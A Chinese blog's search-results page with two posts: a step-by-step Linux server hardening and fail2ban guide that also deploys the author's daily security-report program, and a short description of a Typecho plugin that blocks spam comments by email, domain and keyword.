搜索到
15
篇与
建站
的结果
-
从零到一：Linux 服务器安全加固 + 日报监控完整部署指南 一、前言我的服务器半个月前中过木马，具体见这篇文章： 服务器被植入流量劫持后门(跳转世界杯赌球网站)的排查与解决方案 后门连着海外的C2服务器，Docker里还藏着挖矿程序。清理干净之后我意识到一件事：没有防护的服务器，在互联网上就像没锁门的房子，是条狗都能进来撒泡尿。于是我试着弄了这么一个日报程序，这套每日汇报方案是经过我自己实操用了多台服务器布署后的实践总结，囊括了Ubuntu、CentOS、Debain等市面上主流Linux服务器系统，从系统加固、SSH安全、fail2ban防暴力破解，到每天自动发邮件汇报安全状况。从程序写出来到今天为止，三天了，经过不断优化、更迭，差不多能达到我理想中的状态了，所以我把它分享出来，希望能帮到同样在维护服务器的你。2026-07-08 更新说明服务端新增 /api/v1/dates 接口 — 返回服务器所有存档日期列表，客户端据此按需同步缺失数据SSH 审计支持日期过滤 — `归档时按指定日期查询，不再显示实时数据fail2ban "本日封禁" — 实时报告和归档统一按日期过滤 IP 列表，只显示当日新增封禁数，不显示历史累计值封禁时间零"未知" — 同时提取 IP 和时间，消除封禁时间显示未知的问题实时报告日期策略 — 默认显示当日数据API 响应精简 — server 字段返回空字符串（服务器名称已由客户端侧边栏显示）macOS windows 客户端数据同步 — 同步对应服务器新增接口，对比本地日期，缺失的自动下载；开屏、刷新、切换服务器均触发同步标题居中 —实现日历按钮右侧覆盖，标题绝对居中日期格式 — 仅显示当前数据显示的日期时间戳标签 — 加 查询时间： 前缀界面精简 — 标题去掉服务器名称行和图标；左侧已有服务器信息，没必要多次显示运行时间本地化 — 直接中文显示如“15天1小时19分钟”，更直观网络超时 — 配置 30s 请求超时、60s 资源超时，不无限卡 loading防重入 — 客户端同步数据优化，自动跳过已有数据，避免数据错乱或闪烁列宽优化 —优化显示，解决封禁时间显示不全的问题邮件发送优化`改用新版数据采集 — 邮件发送不再使用旧版文本采集函数，容易导致卡死），改为调用新函数获取结构化数据，再格式化为邮件正文新增 构建邮件文本 — 从 JSON 报告生成邮件文本，按模块独立格式化函数，类型安全依赖变更客户端新增依赖：服务端 /api/v1/dates 接口（2026-07-08 后更新的服务端版本）中国 IP 市县细化依赖：ip-api.com（geoLookupDetail 接口），需服务器能访问外网2026-06-30 更新说明服务端增加api key功能，供客户端调用增加 Windows、macOS 客户端(付费)服务端改为定时采集 + 文件缓存策略，客户端查询毫秒级响应数据保留 180 天，每天自动清理超期数据服务端源代码、预编译二进制同步更新二、系统初始化2.1 更新系统刚买的服务器系统包可能比较旧，先更新到最新版本，避免因为旧版本的已知漏洞被入侵。# ------------------- Ubuntu / Debian 系统 ------------------- # apt 是 Ubuntu/Debian 的包管理器 # update = 更新软件源列表（检查有哪些新版本可用） # upgrade -y = 升级所有已安装的软件包（-y 表示自动确认，不弹询问） apt update && apt upgrade -y # ------------------- CentOS 系统 ------------------- # yum 是 CentOS 的包管理器，update 同时更新源和升级包 yum update -y2.2 安装基础工具安装一些后续操作会用到的常用命令行工具。工具作用curl用来下载文件、调用 API、测试网络请求wget下载文件（和 curl 类似，但更专注于文件下载）git用来克隆代码仓库（如果需要从 GitHub 下载源码时用到）vim一个命令行文本编辑器（编辑配置文件用）# ------------------- Ubuntu / Debian ------------------- apt install -y curl wget git vim # ------------------- CentOS ------------------- yum install -y curl wget git vim2.3 设置时区把服务器的时间设成北京时间（CST，东八区）。否则定时任务（比如每天 00:01 发日报）会按 UTC 时间执行，和你的预期差 8 个小时。# 设置时区为亚洲/上海（北京时间） timedatectl set-timezone Asia/Shanghai # 查看当前时间，确认是否生效 date # 正常应该输出类似：Thu Jun 25 00:01:00 CST 2026 # 注意末尾的 CST 表示中国标准时间2.4 设置主机名给服务器起一个容易辨识的名字，这样在终端提示符、邮件标题里都能看到，方便区分多台服务器。# 把 your-server-name 换成你想取的名字，例如： # hostnamectl set-hostname web-server # hostnamectl set-hostname mail-server hostnamectl set-hostname your-server-name三、SSH 安全加固（最重要的一步 ⭐）3.1 修改默认 SSH 端口SSH 默认端口 22 是互联网上扫描器的首选目标，新服务器上线几分钟内就会被扫描。改成一个不常用的高位端口，能过滤掉 99% 的自动扫描。# 用 vim 打开 SSH 配置文件（vim 是命令行文本编辑器） # 如果不会用 vim，也可以用 nano：nano /etc/ssh/sshd_config vim /etc/ssh/sshd_config在文件中找到这一行（一般在第 15 行左右）：#Port 22把 # 删掉（去掉注释），把 22 改成你选的高位端口：Port 32958选端口的建议：✅ 推荐：32958、23254、18957、42196（4-5 位数字，好记就行）❌ 避免：2222、22222、8822（这些常见替代端口一样会被扫描）❌ 避免：22 附近的端口（21、23 等也会被批量扫描）三种系统注意： SSH 配置文件都在 /etc/ssh/sshd_config，位置一样，没有区别。3.2 生成密钥对（在自己电脑上操作，不是服务器）服务器登录方式有两种：密码（会被暴力破解）和密钥（几乎不可能被破解）。密钥登录的原理是生成一对文件——私钥和公钥。私钥你留着，公钥放服务器上，登录时服务器验证你是否有对应的私钥。没有私钥的人就算知道密码也登录不了。# 在你自己电脑的终端执行（Mac 的「终端」、Windows 的 PowerShell） # -t ed25519 = 指定密钥加密算法（ed25519 是目前最安全的） # -f ~/.ssh/... = 指定密钥保存路径，后面的名字改成你的服务器名方便管理 ssh-keygen -t ed25519 -f ~/.ssh/服务器名称_密钥执行后会问两次密码短语（passphrase），直接按两下回车跳过——这样登录时不需要额外输入。完成后，在 ~/.ssh/ 目录下会生成两个文件：~/.ssh/服务器名称_密钥 ← 私钥（相当于你的钥匙，绝对不能给别人看） ~/.ssh/服务器名称_密钥.pub ← 公钥（相当于锁芯，放在服务器上）⚠️ 私钥必须妥善保管，谁拿到它就能登录你的服务器，不要上传到公共代码仓库，不要复制到不安全的设备上。3.3 上传公钥到服务器把上一步生成的公钥（.pub 文件）放到服务器的 authorized_keys 文件中。有两种方式：方式一：用 ssh-copy-id（推荐，最简单）# -p 32743 = 指定 SSH 端口（改成你上一步设置的新端口） # -i ~/.ssh/xxx.pub = 指定公钥文件 # root@你的服务器IP = 以 root 用户登录你的服务器 ssh-copy-id -p 32743 -i ~/.ssh/服务器名称_密钥.pub root@你的服务器IP按提示输入当前 root 密码即可。命令会自动把公钥追加到服务器的正确位置。方式二：手动上传（如果方式一不可用）# 第一步：在服务器上创建 .ssh 目录（设置正确权限） ssh -p 32743 root@你的服务器IP "mkdir -p ~/.ssh && chmod 700 ~/.ssh" # 第二步：把本地公钥内容追加到服务器上的 authorized_keys 文件 cat ~/.ssh/服务器名称_密钥.pub | ssh -p 32743 root@你的服务器IP \ "cat >> ~/.ssh/authorized_keys && chmod 600 ~/.ssh/authorized_keys"3.4 禁用密码登录，锁定 SSH 配置密钥上传成功后，就可以关闭不安全的密码登录方式了。再次编辑 SSH 配置文件：vim /etc/ssh/sshd_config把以下几项逐一修改（可以直接找到对应行改，也可以直接替换整个文件内容）：# ===== 端口（改成你前面设置的值）===== Port 32743 # ===== 只允许 SSH 协议版本 2（版本 1 有已知漏洞）===== Protocol 2 # ===== 允许 root 登录，但只接受密钥方式（prohibit-password = 禁止密码）===== PermitRootLogin prohibit-password # ===== 启用公钥认证（刚才上传的密钥就是靠这个选项生效）===== PubkeyAuthentication yes # ===== 禁止密码认证（这步做完后，没有密钥就登录不了）===== PasswordAuthentication no # ===== 也禁止其他不安全的认证方式===== ChallengeResponseAuthentication no # ===== 只接受公钥认证===== AuthenticationMethods publickey # ===== 最多允许 3 次认证失败===== MaxAuthTries 3 # ===== 最多 5 个同时连接===== MaxSessions 5 # ===== 每 5 分钟检测客户端是否还活着===== ClientAliveInterval 300 # ===== 连续 2 次没响应就断开===== ClientAliveCountMax 2 # ===== 30 秒内必须完成登录===== LoginGraceTime 30 # ===== 只允许 root 用户通过 SSH 登录===== AllowUsers root # ===== 日志记录到系统日志===== SyslogFacility AUTH LogLevel VERBOSE # ===== 禁止 X11 转发（一般用不上）===== X11Forwarding no # ===== 只允许用安全的加密算法（防止算法攻击）===== KexAlgorithms curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256 Ciphers chacha20-poly1305@openssh.com,aes256-gcm@openssh.com MACs hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com3.5 重启 SSH 并验证配置改完后，需要重启 SSH 服务才能生效。# ------------------- Ubuntu / Debian ------------------- # Ubuntu 和 Debian 的 SSH 服务名是 ssh（注意不是 sshd） systemctl restart ssh # ------------------- CentOS ------------------- # CentOS 的 SSH 服务名是 sshd systemctl restart sshd最关键的一步：验证密钥登录是否正常# 新开一个终端窗口（千万不要关当前这个窗口），测试密钥登录 ssh -p 32743 -i ~/.ssh/服务器名称_密钥 root@你的服务器IP如果成功登录了，恭喜你，SSH 安全加固完成。⚠️ 重要：在确定新窗口能登录之前，绝对不要关闭当前的 SSH 窗口。 万一密钥配置有问题，你还能通过当前窗口修复。确认新窗口正常后，再关闭旧窗口。🔑 之后的登录方式——只能用密钥登录：# 每次连接都需要指定端口和密钥文件 ssh -p 32743 -i ~/.ssh/服务器名称_密钥 root@你的服务器IP为了方便，可以把配置写进 ~/.ssh/config（这样就不用每次敲端口和密钥了）：# 在本地电脑执行 echo " Host my-server HostName 你的服务器IP Port 32743 User root IdentityFile ~/.ssh/服务器名称_密钥 " >> ~/.ssh/config之后只需要 ssh my-server 就能连上了。四、防火墙防火墙的作用是控制哪些端口对外开放，防止不必要的服务暴露在公网上。原则是：默认拒绝所有入站流量，只放行需要的端口。Ubuntu / Debian 用 UFWUFW是 Ubuntu/Debian 自带的防火墙管理工具，用起来很简单。# ------------------- 安装 UFW ------------------- apt install -y ufw # ------------------- 设置默认策略 ------------------- # 默认拒绝所有入站连接（别人连不上你的服务器） ufw default deny incoming # 默认允许所有出站连接（你的服务器可以正常访问外网） ufw default allow outgoing # ------------------- 放行必要的端口 ------------------- # 注意：32958 要改成你前面设置的 SSH 端口 ufw allow 32958/tcp comment 'SSH' # 如果你要跑网站，需要放行 80（HTTP）和 443（HTTPS） ufw allow 80/tcp comment 'HTTP' ufw allow 443/tcp comment 'HTTPS' # 如果后续部署了其他服务（如数据库、VPN 等），按需增加 # ufw allow 8080/tcp comment '自定义服务' # ------------------- 启用防火墙 ------------------- # --force 表示直接启用，不弹确认询问 ufw --force enable # ------------------- 查看规则 ------------------- ufw status numbered后续管理命令：# 放行新端口 ufw allow 12345/tcp comment '新服务' # 删除规则 ufw delete allow 12345/tcp # 查看日志（看哪些 IP 被拦截了） tail -f /var/log/ufw.logCentOS 用 firewalldCentOS 默认使用 firewalld 管理防火墙，用法和 UFW 不同，但效果一样。# ------------------- 安装 firewalld（通常已预装）------------------- yum install -y firewalld # 启动并设置开机自启 systemctl enable --now firewalld # ------------------- 放行必要的端口 ------------------- # --zone=public = 应用到公共区域 # --add-port=... = 允许的端口/协议 # --permanent = 永久生效（重启后保留） # 注意：32958 要改成你的 SSH 端口 firewall-cmd --zone=public --add-port= 32958/tcp --permanent firewall-cmd --zone=public --add-port=80/tcp --permanent firewall-cmd --zone=public --add-port=443/tcp --permanent # 重新加载使规则生效 firewall-cmd --reload # ------------------- 查看规则 ------------------- firewall-cmd --list-all五、fail2ban 防暴力破解（核心 ⭐）虽然前面已经禁用了密码登录，但攻击者仍然会尝试连接你的 SSH 端口。fail2ban 会监控系统日志，发现有人尝试登录失败就自动封禁它的IP，连尝试的机会都不给。5.1 安装# ------------------- Ubuntu / Debian ------------------- # fail2ban = 暴力破解防护工具 # geoip-bin = IP 归属地查询工具（让日报能显示攻击者来自哪个国家） apt install -y fail2ban geoip-bin # ------------------- CentOS ------------------- yum install -y fail2ban geoip5.2 配置策略创建一个自定义配置文件，覆盖默认的 SSH 防护规则：# 创建配置目录 mkdir -p /etc/fail2ban/jail.d # 写入配置文件（cat > 文件 << 'EOF' 的意思是：将下面几行内容写入到文件中） cat > /etc/fail2ban/jail.d/sshd-custom.conf << 'EOF' [sshd] enabled = true port = 32958 maxretry = 1 bantime = -1 findtime = 600 backend = systemd journalmatch = _SYSTEMD_UNIT=ssh.service + _COMM=sshd EOF配置参数详解：参数值含义enabledtrue启用这个规则port32958监控你的 SSH 端口（改成你自己设置的）maxretry11 次失败就封禁。因为我们已经禁用了密码登录，任何密码尝试都是恶意的bantime-1永久封禁（-1 表示永远，不解封）findtime600在 10 分钟窗口内累计失败次数backendsystemd通过 systemd 的 journal 读取 SSH 日志journalmatch_COMM=sshd匹配 SSH 进程的日志条目（不同系统有差异）5.3 journalmatch 适配（不同系统有区别）journalmatch 的值取决于你的系统 SSH 服务名，配置错了 fail2ban 就检测不到登录尝试。# ----- 查看你的 SSH 服务名（用这个命令确认）----- systemctl list-units --type=service | grep ssh # 根据输出结果选择对应的配置： # # 如果输出 ssh.service（Ubuntu/Debian 常见）： journalmatch = _SYSTEMD_UNIT=ssh.service + _COMM=sshd # 如果输出 sshd.service（CentOS 常见）： journalmatch = _SYSTEMD_UNIT=sshd.service + _COMM=sshd systemctl list-units --type=service | grep ssh # 确认 fail2ban 能正确匹配日志 journalctl -u ssh.service --since "-5 min" | grep "Invalid user\|Failed password"5.4 启动并验证# 重启 fail2ban 使配置生效 systemctl restart fail2ban # 等待 2 秒让服务完全启动 sleep 2 # 查看 SSH 防护状态 # 如果显示 Active: active (running) 说明启动成功 fail2ban-client status sshd输出示例：Status for the jail: sshd |- Filter | |- Currently failed: 0 ← 当前累计失败次数 | |- Total failed: 0 ← 总失败次数 `- Actions |- Currently banned: 0 ← 当前被封禁的 IP 数 |- Total banned: 0 ← 累计封禁的 IP 数测试 fail2ban 是否真的能封禁：# 打开一个新终端，故意输错密码登录一次 # 注意：这里用密码方式尝试，你的密钥不会触发封禁 ssh -p 32958 root@你的服务器IP # 随便输入一个错误密码 # 回到原来终端，再次查看封禁状态 fail2ban-client status sshd如果看到 Currently banned: 1，说明 fail2ban 生效了——这个 IP 永远不能再用 SSH 连接你的服务器了。5.5 子网自动封段（可选但推荐）如果你留意日报数据，会发现攻击 IP 经常来自同一个 C 段（比如 213.209.159.x 有十几个不同 IP 在换着尝试）。这时只封单个 IP 不够，应该把整个 /24 段一起封了。这个功能内置在日报程序里，每 30 分钟自动扫描一次 fail2ban 的封禁列表，如果发现同一个 C 段有 ≥2 个 IP 被封，就自动通过 iptables 封禁整个子网。# 在 config.yml 中启用： # subnet_ban: # enabled: true # threshold: 2 # 同 C 段 ≥2 个 IP 触发封段 # check_interval: 30 # 每 30 分钟扫描一次具体配置在下一章「部署日报程序」中详细说明。六、部署日报程序6.1、项目结构server-report/ ├── go/ # 服务端 Go 源码 │ ├── main.go # 入口（--serve 启动API） │ ├── config.go # 配置管理 │ ├── serve.go # HTTP API 服务器 │ ├── report_api.go # 日报数据构建 │ ├── report_json.go # JSON 数据模型 │ ├── fail2ban.go # fail2ban 管理 + 地理位置 │ ├── system.go # 系统信息采集 │ ├── ssh_auth.go # SSH 审计 │ ├── network.go # 网络连接分析 │ ├── firewall.go # 防火墙统计 │ ├── services.go # 服务列表 │ ├── changes.go # 系统变更追踪 │ ├── security.go # 安全检测 │ ├── mail.go # 邮件发送 │ ├── subnet.go # 子网封禁 │ └── util.go # 工具函数 ├── gosrc/ # 编译好的服务端二进制程序 │ ├── server-report │ └── config.yml # 示例配置 ├── Client/ # 客户端 │ ├── ServerReport.app # macOS，付费 │ └── ServerReport.exe # Windows 付费 └── README.md# 创建目录 mkdir -p /data/server-report cd /data/server-report # 下载二进制（替换为实际下载地址） 下载日报程序压缩包后，上传到/data/server-report目录并解压 chmod 755 server-report6.2、服务器端自行编译cd go GOOS=linux GOARCH=amd64 go build -o ../data/server-report .或者直接使用预编译的二进制 /data/server-report6.3、上传到服务器scp server-report root@你的服务器IP:/data/server-report/server-report scp config.sample.yml root@你的服务器IP:/data/server-report/config.sample.yml ssh root@你的服务器IP "mv /data/server-report/config.sample.yml /data/server-report/config.yml" ssh root@你的服务器IP "chmod +x /data/server-report/server-report"6.4 修改配置文件# 编辑配置文件 ssh root@你的服务器IP "vi /data/server-report/config.yml"server: name: "myserver" # 你的服务器名称（邮件标题中用） ip: "" # 留空自动获取公网 IP ssh_port: 32958 # 改成你自己的SSH登陆端口 api_key: "your-api-key-here" # API 密钥（建议32位大小写字母加数字） api_port: 8080 smtp: server: "mail.example.com" # SMTP 服务器地址 port: 465 # 465=SSL / 587=STARTTLS ssl: true user: "user@example.com" # SMTP帐号 password: "your-password" # SMTP密码 mail: to: "admin@example.com" # 接收日报的邮箱 from: "user@example.com" # 发件人地址 subject: "服务器日报 - {name} / {ip} - {date}" # 发件邮箱标题 schedule: report_at: "00:01" # 每天发送时间，24小时制 modules: system: true # 系统健康 ssh_auth: true # SSH 登录审计 fail2ban: true # fail2ban 封禁统计 network: true # 网络连接 firewall: false # 防火墙（UWF/firewalld 统计） services: true # 服务列表 changes: true # 系统变更 security: true # 安全检测 security: fail2ban: enabled: true maxretry: 1 bantime: -1 findtime: 600 journalmatch: "_SYSTEMD_UNIT=ssh.service + _COMM=sshd" subnet_ban: enabled: true # 是否启用子网自动封段 threshold: 2 # 同 C 段 ≥2 个 IP 被封时封整个段 check_interval: 30 # 每 30 分钟扫描一次6.4.1、配置文件说明字段说明默认值server.name服务器名称，用于邮件标题必填server.ip固定 IP，留空自动获取自动server.ssh_portSSH 端口22server.api_keyAPI 认证密钥（建议32位随机字符串）必填server.api_portAPI 监听端口8080smtp.*邮件发送配置必填mail.*邮件接收配置必填modules.*各功能模块开关truesecurity.fail2ban.maxretry封禁阈值1security.fail2ban.bantime封禁时长（秒，-1=永久）-1security.subnet_ban.threshold封段阈值26.4.2、API Key 说明项目说明长度要求建议 32 位 随机字符串（如 a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6）字符范围建议使用大小写字母 + 数字（a-z, A-Z, 0-9），不支持中文或特殊符号生成方式在服务端 config.yml 中手动设置，客户端填相同的值用途认证请求来源，防止未授权访问 API安全性api_key 通过 URL 参数传输，建议搭配防火墙 IP 白名单使用6.4.3、生成示例命令：# Linux 生成32位随机API Key tr -dc 'a-zA-Z0-9' < /dev/urandom | fold -w 32 | head -1 # macOS 生成32位随机API Key openssl rand -hex 166.5、预编译的二进制目录结构最终 /data/server-report/ 目录下应该只有两个文件：/data/server-report/ ├── server-report ← 二进制文件（7.8MB） └── config.yml ← 配置文件整个系统就这两个文件，迁移到新服务器时整个目录拷走就行。6.6、手动测试/data/server-report/server-report --run-once如果配置正确，你的邮箱会收到一封测试日报邮件。6.7、配置定时任务注：第6.7-6.8条为旧版定时发送邮件服务使用，新版仍可使用。# 每天 00:01 发送日报 cat > /etc/cron.d/server-report << 'EOF' 1 0 * * * root /data/server-report/server-report EOF # 每 30 分钟检查一次子网封禁（如果启用了 subnet_ban） cat > /etc/cron.d/ban-subnet << 'EOF' */30 * * * * root /data/server-report/server-report --subnet-scan EOF chmod 644 /etc/cron.d/server-report /etc/cron.d/ban-subnet关于 /etc/cron.d/ 的注意事项：文件必须有一个空行结尾（否则 cron 可能不执行）文件名不要包含 . 以外的特殊字符如果定时任务不执行，可以改用 crontab -e 方式：(crontab -l 2>/dev/null; echo "1 0 * * * /data/server-report/server-report") | crontab -6.8、验证定时任务# 查看已安装的 cron 任务 cat /etc/cron.d/server-report # 或查看用户 crontab（如果用 crontab 方式） crontab -l6.9、创建 systemd 服务cat > /etc/systemd/system/server-report-api.service << 'EOF' [Unit] Description=Server Report API Service After=network.target [Service] Type=simple User=root ExecStart=/data/server-report/server-report --serve Restart=always RestartSec=5 [Install] WantedBy=multi-user.target EOF systemctl daemon-reload systemctl enable server-report-api.service systemctl start server-report-api.service6.10、验证服务# 查看服务状态 systemctl status server-report-api.service # 测试 API curl "http://IP:8080/api/v1/report?key=your-api-key-here"6.11、API 端口放行如果使用客户端需要远程连接API，需在防火墙放行端口：ufw allow 8080/tcp # Ubuntu/Debian firewall-cmd --add-port=8080/tcp # CentOS/RHEL6.12、更新服务端# 停止服务 systemctl stop server-report-api.service # 备份旧版本 mv /data/server-report/server-report /data/server-report/server-report.bak # 上传新版本 scp server-report-linux root@服务器IP:/data/server-report/server-report ssh root@服务器IP "chmod +x /data/server-report/server-report" # 启动服务 systemctl start server-report-api.service6.13、定时任务（数据采集策略）服务端每小时自动采集一次系统数据，保存为 today.json，客户端查询时直接读文件返回（毫秒级响应）。每天凌晨将前一天数据归档为 YYYY-MM-DD.json，保留 180 天。时间任务说明每小时（0分）--save-report采集系统数据更新 today.json每天 00:01--save-report --archive将前一天数据归档为 YYYY-MM-DD.json每天 03:00journalctl 清理清理 180 天前的系统日志每天 03:00报告文件清理删除 reports/ 中超过 180 天的 .json 文件设置方式（已配置好，无需手动操作）：crontab -l # 输出： # 0 * * * * /data/server-report/server-report --save-report # 1 0 * * * /data/server-report/server-report --save-report --archive # 0 3 * * * /usr/bin/journalctl --vacuum-time=180d --quiet # 0 3 * * * find /data/server-report/reports -name "*.json" -mtime +180 -delete6.14、日志管理服务状态和系统错误日志通过 journalctl 管理。每天凌晨 3 点自动清理 180 天前的日志和归档报告文件。手动清理：# 清理 180 天前的日志 journalctl --vacuum-time=180d # 删除旧归档报告 find /data/server-report/reports -name "*.json" -mtime +180 -delete6.15、命令说明命令说明server-report --serve启动 API 服务（供客户端调用）server-report --save-report立即采集一次数据并保存到 today.jsonserver-report --save-report --archive将前一天数据归档为 YYYY-MM-DD.jsonserver-report --run-once立即发送一次邮件日报server-report --subnet-scan手动扫描并封禁恶意子网server-report --version查看版本server-report --help查看帮助七、日报内容解读7.1、服务器安全日志客户端主界面7.2、SSH登陆审计封禁列表7.3、fail2ban封禁列表7.4、针对中国IP单独进行了市级显示7.5、IP-C段封禁效果以及其它模块八、常见问题排查Q1：收不到邮件检查步骤：# 1. 手动触发发送，看有没有报错 /data/server-report/server-report --run-once # 2. 确认 SMTP 配置是否正确 cat /data/server-report/config.yml | grep -E "smtp:|server:|port:|user:|password:|mail:" # 3. 确认 SSL 端口可连通 echo | openssl s_client -connect mail.example.com:465 -servername mail.example.com 2>/dev/null | head -5 # 4. 如果 SSL 证书验证失败，程序会自动降级，但需要确认 SMTP 账号密码正确常见问题：密码包含特殊字符（'、;、$ 等），需要用双引号包裹：password: "your'pass;word"465端口被运营商屏蔽（尤其是家庭宽带），可以试试587（STARTTLS）SMTP服务商要求开启「允许低安全性应用访问」Q2：IP 归属地显示英文，没有中文# 检查是否安装了 geoip-bin geoiplookup 8.8.8.8 # 如果没安装 apt install -y geoip-bin # Ubuntu/Debian yum install -y geoip # CentOSQ3：成功登录记录出现 @ 方式: key这是新版 OpenSSH 日志格式变化导致的用户名解析问题，不影响功能。如果介意，可以升级到最新版二进制。Q4：系统错误日志里很多看不懂的提示日报已经内置了白噪音过滤列表，以下类型的错误会被自动过滤：错误类型原因是否影响安全no more sessionsSSH 并发限制❌ 正常AF_VSOCK CID虚拟机不支持 VSOCK❌ 正常systemd-ssh-generator同上❌ 正常soft lockupCPU 瞬时过载❌ 正常kdump / Crash recovery kernel内核崩溃转储服务未启动❌ 正常sendmail 相关sendmail 已卸载❌ 正常如果还有其他看不懂的错误，检查是否是服务器上的业务程序（如 MySQL、Nginx、PHP-FPM）的正常日志，也可以发给AI查询。也非常欢迎大家在文章下方给我留言，把系统错误日志贴给我（无伤大雅的并影响每日汇报内容需要去掉的），我将一一进行汇总，对程序进行更新并重新布发升级版。Q5：定时任务不执行# 1. 检查 cron 服务状态 systemctl is-active cron # Ubuntu/Debian systemctl is-active crond # CentOS # 2. 检查 /etc/cron.d/ 文件格式 cat -A /etc/cron.d/server-report # 正常输出应以 $ 结尾（表示有新行） # 3. 如果还不行，改用 crontab 方式： (crontab -l 2>/dev/null; echo "1 0 * * * /data/server-report/server-report") | crontab -Q6：不同系统版本 SSH 日志格式不同日报程序已经兼容了以下格式：系统版本SSH 日志格式Debian 12 (OpenSSH < 9.8)Failed password for invalid user xxxDebian 13 (OpenSSH ≥ 9.8)Invalid user xxx from IP + 旧格式并存Ubuntu 20.04+Failed password for invalid user xxxCentOS 7+Failed password for invalid user xxxQ7：如何更新日报程序# 下载新版二进制 经常访问本地址查看站长有无更新,若有新版重新下载上传到服务器即可。 # 设置权限 chmod 755 /data/server-report/server-report # 配置文件和之前的任务不受影响Q8：客户端提示"连接失败"或"获取日报失败"确认服务器 API 端口（默认 8080）在防火墙上已放行确认客户端填写的 API Key 与服务端 config.yml 中的 api_key 一致确认能从客户端网络访问服务器 IP 和端口：telnet 服务器IP 8080服务端每小时自动采集数据，客户端查询为毫秒级响应；如果刚好在第一小时部署还未生成缓存，会实时采集一次（约20-30秒），之后即可秒回Q9：客户端找不到配置文件macOS：~/.config/server-report/servers.jsonWindows：程序目录下的 config/servers.json使用"导入数据"功能（📂 按钮）可从备份目录恢复配置和日报缓存。九、API 接口获取日报GET /api/v1/report?key=你的API密钥响应格式：{ "status": "ok", "server": "服务器名称", "timestamp": "2026-06-29 10:30:00", "date": "2026-06-28 → 2026-06-29", "sections": [ { "id": "system", "title": "系统健康", "type": "system", "data": { "hostname": "...", "ip": "...", "uptime": "...", "load": "...", "cpu": "...", "memory": { "used": "...", "total": "...", "percent": 0 }, "disks": [{ "mount": "/", "used": "...", "total": "...", "percent": 0 }] } }, { "id": "ssh_auth", "title": "SSH 登录审计", "type": "ssh_auth", "data": { "failed_total": 0, "failed_ips": 0, "failed_detail": [{ "ip": "1.2.3.4", "count": 5, "users": ["root"], "first": "...", "last": "...", "location_cn": "中国", "location_en": "China", "location_detail": "广东省广州市" }], "success_total": 0, "success_list": [{ "ip": "1.2.3.4", "count": 1, "method": "publickey" }] } }, { "id": "fail2ban", "title": "fail2ban 封禁统计", "type": "fail2ban", "data": { "total_banned": 0, "current_banned": 0, "banned_ips": [{ "ip": "1.2.3.4", "location_cn": "美国", "location_en": "USA", "ban_time": "...", "users": ["root"], "attempts": 10, "subnet": "1.2.3.0/24" }], "banned_subnets": [{ "subnet": "1.2.3.0/24", "ip_count": 3 }] } }, { "id": "network", "title": "网络连接与流量", "type": "network", "data": { "established": 0, "time_wait": 0, "total": 0, "top_conns": [], "listening_ports": [], "traffic": [] } }, { "id": "firewall", "title": "防火墙拦截统计", "type": "firewall", "data": { "total_blocks": 0, "top_src": [], "top_dst": [] } }, { "id": "services", "title": "运行中的系统服务", "type": "services", "data": { "total": 0, "running": [] } }, { "id": "changes", "title": "系统变更记录", "type": "changes", "data": { "packages": [] } }, { "id": "security", "title": "安全检测", "type": "security", "data": { "suid_ok": true, "new_users": [], "suspicious": [], "online_users": [], "errors": [] } } ] }健康检查GET /api/v1/ping?key=你的API密钥十、客户端（付费）10.1 macOS 客户端运行： 拷贝 ServerReport.app 到应用程序目录直接打开即可使用。数据存储： ~/.config/server-report/servers.json — 服务器配置列表reports/*.json — 历史日报缓存10.2 Windows 客户端运行： 直接双击 ServerReport.exe数据存储： 程序所在目录下的 config/ 文件夹config/servers.json — 服务器配置列表config/reports/*.json — 历史日报缓存10.3、客户端功能列表：功能列表：功能说明多服务器管理左侧列表添加/编辑/删除多台服务器，右键菜单操作日报展示8 个功能区块，数据结构与服务端 API 完全对应SSH 审计表格展示：IP、国家（归属地）、封禁时间、尝试用户、次数，次数超 10 标红fail2ban累计/当前封禁数，国家下拉筛选，表头可排序（IP/国家/封禁时间/尝试用户/次数），C段子网点击展开日历📅 按钮弹出日历，可切换年月，有数据的日期加重颜色背景手动刷新↻ 按钮重新拉取日报导入数据📂 按钮从目录选择器导入配置和缓存显示切换👁 按钮（在 show/hide 间切换）控制服务器列表IP显示导出配置右键服务器 → 导出，下载 servers.json关于页面关于窗口，含版本、开发信息、GitHub 链接10.4、日报服务器程序下载，免费开放下载地址，蓝奏云网盘，回复可见：隐藏内容，请前往内页查看详情10.5、客户端下载（付费）10.6、项目反馈如果你在使用过程中遇到问题，或者有功能建议，下方留言吧，或者给我发邮件。本项目不提供技术支持，若需技术支持，可以有尝代部署，收费60元/台,B站或抖音粉丝半价。mail:me@rongyan.cc{lamp/} -
轻量级的 Typecho 垃圾评论拦截插件SpamBlocker 这是一个轻量级的 Typecho 插件，通过邮箱、域名、关键词黑名单自动拦截垃圾评论。开发此插件的由来 写这个插件是有原因的，连续两天，一直有个鸟人来我博客发留言（最新两篇文章）,他的主要目的其实是发他的算命网站链接。我后台删了他的留言他第二天又来发了。首先不能用禁IP的方式，因为我发现他IP是广西联通（一般都是家庭宽带，这个IP只是他临时的，封了也没用，而且还可能会造成整个广西联通的网都来不了）。一般他会发两条留言，一篇文章一条，留的QQ邮箱都是一样5652xx5524@qq.com，但是在两篇文章中的留言名字改了，配套的网址也不一样，一个叫做免费算命，留的网址是https://www.resoxxxg.cn/，一个叫做姓名测试打分，留的网址是https://www.tiatixxxxxiao.com/。于是针对这个垃圾玩艺，这套插件应运而生。功能环境要求 — 在 Typecho 1.3 上测试通过，其他版本请自行测试邮箱拦截 — 支持部分匹配，如 qq.com 可拦截所有 QQ 邮箱域名拦截 — 拦截评论者填写的网站域名关键词拦截 — 拦截昵称或正文中的关键词两种拦截方式：直接拦截 — 匹配规则时拒绝评论，前台提示错误标记为垃圾 — 匹配规则时标记为 spam 状态，前台不报错也不显示，后台可审查安装将 SpamBlocker 文件夹上传至 /usr/plugins/登录 Typecho 后台，进入 控制台 → 插件找到 SpamBlocker，点击 启用点击 设置，填写拦截规则使用方法在插件设置页面填入需要拦截的内容，每行一条：# 拦截邮箱（部分匹配） spammer@example.com qq.com # 拦截域名（部分匹配） spam-site.cn # 拦截关键词 免费算命选择拦截方式后保存即可生效。数据存储配置存储在 typecho_options 表中，name = 'plugin:SpamBlocker'，值为序列化数组。无需手动建表或改表结构。拦截原理通过 Typecho_Plugin::factory('Widget_Feedback')->comment 钩子，在评论提交前对邮箱、网址、昵称、正文进行匹配检查。开源协议MIT已在github上开源， Github开源地址 